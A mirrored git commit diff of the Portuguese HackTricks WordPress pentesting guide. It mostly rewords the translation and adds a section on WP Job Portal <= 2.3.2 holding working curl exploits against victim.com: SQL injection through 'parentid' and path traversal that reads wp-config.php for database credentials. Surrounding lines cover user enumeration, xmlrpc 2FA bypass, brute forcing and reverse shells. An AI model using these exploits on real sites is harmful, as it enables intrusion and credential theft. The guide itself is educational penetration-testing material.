mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/wordpress.md
This commit is contained in:
parent
22f9535891
commit
052b750649
@ -85,7 +85,7 @@ Você provavelmente não conseguirá encontrar todos os Plugins e Temas possíve
|
||||
|
||||
### Usuários
|
||||
|
||||
- **ID Brute:** Você obtém usuários válidos de um site WordPress forçando IDs de usuários:
|
||||
- **ID Brute:** Você obtém usuários válidos de um site WordPress forçando os IDs dos usuários:
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
@ -174,7 +174,7 @@ Também há uma **maneira mais rápida** de forçar credenciais usando **`system
|
||||
|
||||
**Bypass 2FA**
|
||||
|
||||
Este método é destinado a programas e não a humanos, e é antigo, portanto não suporta 2FA. Assim, se você tiver credenciais válidas, mas a entrada principal estiver protegida por 2FA, **você pode ser capaz de abusar do xmlrpc.php para fazer login com essas credenciais contornando o 2FA**. Note que você não poderá realizar todas as ações que pode fazer através do console, mas ainda pode conseguir chegar ao RCE, como Ippsec explica em [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
Este método é destinado a programas e não a humanos, e é antigo, portanto não suporta 2FA. Assim, se você tiver credenciais válidas, mas a entrada principal estiver protegida por 2FA, **você pode ser capaz de abusar do xmlrpc.php para fazer login com essas credenciais contornando 2FA**. Note que você não poderá realizar todas as ações que pode fazer através do console, mas ainda pode conseguir chegar ao RCE, como Ippsec explica em [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
|
||||
**DDoS ou varredura de portas**
|
||||
|
||||
@ -210,10 +210,10 @@ Dê uma olhada no uso de **`system.multicall`** na seção anterior para aprende
|
||||
### wp-cron.php DoS
|
||||
|
||||
Este arquivo geralmente existe na raiz do site Wordpress: **`/wp-cron.php`**\
|
||||
Quando este arquivo é **acessado**, uma **consulta** MySQL "**pesada**" é realizada, podendo ser usado por **atacantes** para **causar** um **DoS**.\
|
||||
Quando este arquivo é **acessado**, uma **consulta** MySQL "**pesada**" é realizada, então pode ser usado por **atacantes** para **causar** um **DoS**.\
|
||||
Além disso, por padrão, o `wp-cron.php` é chamado em cada carregamento de página (sempre que um cliente solicita qualquer página do Wordpress), o que em sites de alto tráfego pode causar problemas (DoS).
|
||||
|
||||
Recomenda-se desativar o Wp-Cron e criar um cronjob real dentro do host que execute as ações necessárias em um intervalo regular (sem causar problemas).
|
||||
É recomendado desativar o Wp-Cron e criar um cronjob real dentro do host que execute as ações necessárias em um intervalo regular (sem causar problemas).
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
@ -231,7 +231,7 @@ https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
|
||||
Esta ferramenta verifica se o **methodName: pingback.ping** e para o caminho **/wp-json/oembed/1.0/proxy** e se existir, tenta explorá-los.
|
||||
|
||||
## Ferramentas Automáticas
|
||||
## Automatic Tools
|
||||
```bash
|
||||
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
|
||||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||||
@ -239,7 +239,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
|
||||
```
|
||||
## Obter acesso sobrescrevendo um bit
|
||||
|
||||
Mais do que um ataque real, isso é uma curiosidade. No CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man), você poderia inverter 1 bit de qualquer arquivo do wordpress. Assim, você poderia inverter a posição `5389` do arquivo `/var/www/html/wp-includes/user.php` para NOP a operação NOT (`!`).
|
||||
Mais do que um ataque real, isso é uma curiosidade. NO CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) você poderia inverter 1 bit de qualquer arquivo do wordpress. Assim, você poderia inverter a posição `5389` do arquivo `/var/www/html/wp-includes/user.php` para NOP a operação NOT (`!`).
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
@ -248,7 +248,7 @@ return new WP_Error(
|
||||
|
||||
**Modificando um php do tema usado (credenciais de administrador necessárias)**
|
||||
|
||||
Aparência → Editor de Tema → Modelo 404 (à direita)
|
||||
Aparência → Editor de Tema → Template 404 (à direita)
|
||||
|
||||
Altere o conteúdo para um shell php:
|
||||
|
||||
@ -289,7 +289,7 @@ Provavelmente isso não fará nada aparentemente, mas se você for para Mídia,
|
||||
|
||||
.png>)
|
||||
|
||||
Acesse-o e você verá a URL para executar o shell reverso:
|
||||
Acesse-o e você verá a URL para executar o reverse shell:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -345,10 +345,10 @@ Estas são as funções que podem ser usadas para expor uma função em um plugi
|
||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
```
|
||||
**O uso de `nopriv` torna o endpoint acessível a qualquer usuário (mesmo os não autenticados).**
|
||||
**O uso de `nopriv` torna o endpoint acessível a qualquer usuário (mesmo não autenticados).**
|
||||
|
||||
> [!CAUTION]
|
||||
> Além disso, se a função estiver apenas verificando a autorização do usuário com a função `wp_verify_nonce`, essa função está apenas verificando se o usuário está logado, geralmente não está verificando o papel do usuário. Assim, usuários com privilégios baixos podem ter acesso a ações de altos privilégios.
|
||||
> Além disso, se a função estiver apenas verificando a autorização do usuário com a função `wp_verify_nonce`, essa função está apenas verificando se o usuário está logado, geralmente não está verificando o papel do usuário. Assim, usuários com baixos privilégios podem ter acesso a ações de altos privilégios.
|
||||
|
||||
- **REST API**
|
||||
|
||||
@ -472,8 +472,64 @@ Também, **instale apenas plugins e temas do WordPress confiáveis**.
|
||||
- **Limite tentativas de login** para prevenir ataques de Força Bruta
|
||||
- Renomeie o arquivo **`wp-admin.php`** e permita acesso apenas internamente ou de certos endereços IP.
|
||||
|
||||
### Injeção SQL não autenticada via validação insuficiente (WP Job Portal <= 2.3.2)
|
||||
|
||||
O plugin de recrutamento WP Job Portal expôs uma tarefa **savecategory** que, em última análise, executa o seguinte código vulnerável dentro de `modules/category/model.php::validateFormData()`:
|
||||
```php
|
||||
$category = WPJOBPORTALrequest::getVar('parentid');
|
||||
$inquery = ' ';
|
||||
if ($category) {
|
||||
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
|
||||
}
|
||||
$query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
|
||||
```
|
||||
Problemas introduzidos por este trecho:
|
||||
|
||||
1. **Entrada do usuário não sanitizada** – `parentid` vem diretamente da requisição HTTP.
|
||||
2. **Concatenação de strings dentro da cláusula WHERE** – sem `is_numeric()` / `esc_sql()` / declaração preparada.
|
||||
3. **Acessibilidade não autenticada** – embora a ação seja executada através de `admin-post.php`, a única verificação em vigor é um **nonce CSRF** (`wp_verify_nonce()`), que qualquer visitante pode recuperar de uma página pública que incorpora o shortcode `[wpjobportal_my_resumes]`.
|
||||
|
||||
#### Exploração
|
||||
|
||||
1. Pegue um nonce fresco:
|
||||
```bash
|
||||
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
|
||||
```
|
||||
2. Injete SQL arbitrário abusando de `parentid`:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'task=savecategory' \
|
||||
-d '_wpnonce=<nonce>' \
|
||||
-d 'parentid=0 OR 1=1-- -' \
|
||||
-d 'cat_title=pwn' -d 'id='
|
||||
```
|
||||
A resposta revela o resultado da consulta injetada ou altera o banco de dados, provando SQLi.
|
||||
|
||||
### Download de Arquivo Arbitrário Não Autenticado / Traversal de Caminho (WP Job Portal <= 2.3.2)
|
||||
|
||||
Outra tarefa, **downloadcustomfile**, permitia que visitantes baixassem **qualquer arquivo no disco** via traversal de caminho. O ponto vulnerável está localizado em `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name` é controlado pelo atacante e concatenado **sem sanitização**. Novamente, a única barreira é um **CSRF nonce** que pode ser obtido na página de currículo.
|
||||
|
||||
#### Exploração
|
||||
```bash
|
||||
curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'task=downloadcustomfile' \
|
||||
--data-urlencode '_wpnonce=<nonce>' \
|
||||
--data-urlencode 'upload_for=resume' \
|
||||
--data-urlencode 'entity_id=1' \
|
||||
--data-urlencode 'file_name=../../../wp-config.php'
|
||||
```
|
||||
O servidor responde com o conteúdo de `wp-config.php`, vazando credenciais do banco de dados e chaves de autenticação.
|
||||
|
||||
## Referências
|
||||
|
||||
- [Vulnerabilidade de Exclusão de Arquivo Arbitrário Não Autenticada no Tema Litho](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
- [Múltiplas Vulnerabilidades Críticas Corrigidas no Plugin WP Job Portal](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -76,7 +76,7 @@ O primeiro **valor** do **HackTricks** é oferecer recursos educacionais de hack
|
||||
|
||||
Se você acha que os livros do HackTricks são feitos para **fins comerciais**, você está **COMPLETAMENTE ERRADO**.
|
||||
|
||||
Temos patrocinadores porque, mesmo que todo o conteúdo seja GRATUITO, queremos **oferecer à comunidade a possibilidade de apreciar nosso trabalho** se assim desejarem. Portanto, oferecemos às pessoas a opção de doar para o HackTricks via [**Github sponsors**](https://github.com/sponsors/carlospolop), e **empresas de cibersegurança relevantes** para patrocinar o HackTricks e **ter alguns anúncios** no livro, sendo os **anúncios** sempre colocados em locais que os tornam **visíveis**, mas que **não atrapalham o processo de aprendizado** se alguém se concentrar no conteúdo.
|
||||
Temos patrocinadores porque, mesmo que todo o conteúdo seja GRATUITO, queremos **oferecer à comunidade a possibilidade de apreciar nosso trabalho** se assim desejarem. Portanto, oferecemos às pessoas a opção de doar para o HackTricks via [**patrocinadores do Github**](https://github.com/sponsors/carlospolop), e **empresas de cibersegurança relevantes** para patrocinar o HackTricks e **ter alguns anúncios** no livro, sendo os **anúncios** sempre colocados em locais que os tornem **visíveis**, mas que **não atrapalhem o processo de aprendizado** se alguém se concentrar no conteúdo.
|
||||
|
||||
Você não encontrará o HackTricks cheio de anúncios irritantes como outros blogs com muito menos conteúdo do que o HackTricks, porque o HackTricks não é feito para fins comerciais.
|
||||
|
||||
@ -90,7 +90,7 @@ Você não encontrará o HackTricks cheio de anúncios irritantes como outros bl
|
||||
>
|
||||
> - **O que devo fazer se houver conteúdo do meu blog no HackTricks e eu não quiser que esteja lá?**
|
||||
|
||||
Observe que ter links para sua página no HackTricks:
|
||||
Note que ter links para sua página no HackTricks:
|
||||
|
||||
- Melhora seu **SEO**
|
||||
- O conteúdo é **traduzido para mais de 15 idiomas**, possibilitando que mais pessoas acessem este conteúdo
|
||||
|
Loading…
x
Reference in New Issue
Block a user